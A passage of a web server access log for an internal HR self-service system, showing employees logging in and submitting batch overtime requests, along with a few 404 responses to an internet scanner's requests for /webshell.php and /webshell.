192.168.11.109 - - [29/Nov/2025:08:37:21 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:37:21 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.109 - - [29/Nov/2025:08:37:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:37:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.109 - - [29/Nov/2025:08:37:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:37:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 100.64.0.1 - - [29/Nov/2025:08:37:30 +0800] "GET /webshell.php HTTP/1.1" 404 210 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [29/Nov/2025:08:37:30 +0800] "GET /webshell.php HTTP/1.1" 404 210 192.168.11.109 - - [29/Nov/2025:08:37:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15639196879184203 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:37:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15639196879184203 HTTP/1.1" 200 8988 192.168.11.109 - - [29/Nov/2025:08:37:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15639196879184203 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15639196879184203" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:37:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15639196879184203 HTTP/1.1" 200 27500 192.168.11.109 - - [29/Nov/2025:08:37:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:37:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 192.168.11.109 - - [29/Nov/2025:08:37:55 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:37:55 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.109 - - [29/Nov/2025:08:37:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:37:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.109 - - [29/Nov/2025:08:37:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:37:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.109 - - [29/Nov/2025:08:38:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2573802752140344 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:38:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2573802752140344 HTTP/1.1" 200 8988 192.168.11.109 - - [29/Nov/2025:08:38:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2573802752140344 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2573802752140344" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:38:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2573802752140344 HTTP/1.1" 200 27500 192.168.11.109 - - [29/Nov/2025:08:38:28 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:38:28 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.109 - - [29/Nov/2025:08:38:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:38:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 100.64.0.1 - - [29/Nov/2025:08:38:37 +0800] "GET /webshell HTTP/1.1" 404 206 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [29/Nov/2025:08:38:37 +0800] "GET /webshell HTTP/1.1" 404 206 192.168.11.109 - - [29/Nov/2025:08:38:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:38:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.109 - - [29/Nov/2025:08:38:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20298023264344678 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:38:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20298023264344678 HTTP/1.1" 200 8988 192.168.11.109 - - [29/Nov/2025:08:38:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20298023264344678 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20298023264344678" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:38:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.20298023264344678 HTTP/1.1" 200 27500 192.168.11.109 - - [29/Nov/2025:08:39:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4070 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:39:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4070 192.168.11.109 - - [29/Nov/2025:08:39:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:39:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 192.168.11.109 - - [29/Nov/2025:08:39:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:39:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.126 - - [29/Nov/2025:08:39:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:39:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.126 - - [29/Nov/2025:08:39:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:39:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.109 - - [29/Nov/2025:08:39:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4418699378131026 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:39:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4418699378131026 HTTP/1.1" 200 8988 192.168.11.109 - - [29/Nov/2025:08:39:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4418699378131026 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4418699378131026" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:39:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4418699378131026 HTTP/1.1" 200 27500 192.168.11.126 - - [29/Nov/2025:08:39:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:39:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.126 - - [29/Nov/2025:08:39:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:39:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.126 - - [29/Nov/2025:08:39:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:39:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 192.168.11.109 - - [29/Nov/2025:08:39:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:39:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 192.168.11.109 - - [29/Nov/2025:08:40:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:40:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.109 - - [29/Nov/2025:08:40:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5045790123919309 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:40:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5045790123919309 HTTP/1.1" 200 8988 192.168.11.126 - - [29/Nov/2025:08:40:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:40:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.109 - - [29/Nov/2025:08:40:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5045790123919309 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5045790123919309" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:40:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5045790123919309 HTTP/1.1" 200 27500 192.168.11.126 - - [29/Nov/2025:08:40:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7341578166880157 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:40:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7341578166880157 HTTP/1.1" 200 8908 192.168.11.109 - - [29/Nov/2025:08:40:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4490 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:40:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4490 192.168.11.109 - - [29/Nov/2025:08:40:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:40:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 192.168.11.109 - - [29/Nov/2025:08:40:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 16353 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:40:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 16353 192.168.11.109 - - [29/Nov/2025:08:40:47 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:40:47 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.109 - - [29/Nov/2025:08:40:47 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.109 - - [29/Nov/2025:08:40:47 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.126 - - [29/Nov/2025:08:40:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7341578166880157 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7341578166880157" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:40:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7341578166880157 HTTP/1.1" 200 24852 192.168.11.126 - - [29/Nov/2025:08:41:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:41:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.126 - - [29/Nov/2025:08:41:31 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132623%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132623&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:41:31 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132623%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132623&target=iframe HTTP/1.1" 200 3251 192.168.11.126 - - [29/Nov/2025:08:41:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:41:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.126 - - [29/Nov/2025:08:41:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5319164634418855 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:41:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5319164634418855 HTTP/1.1" 200 8908 192.168.11.126 - - [29/Nov/2025:08:42:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5319164634418855 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5319164634418855" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.126 - - [29/Nov/2025:08:42:00 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5319164634418855 HTTP/1.1" 200 24852 192.168.11.126 - - [29/Nov/2025:08:42:17 +0800] "POST 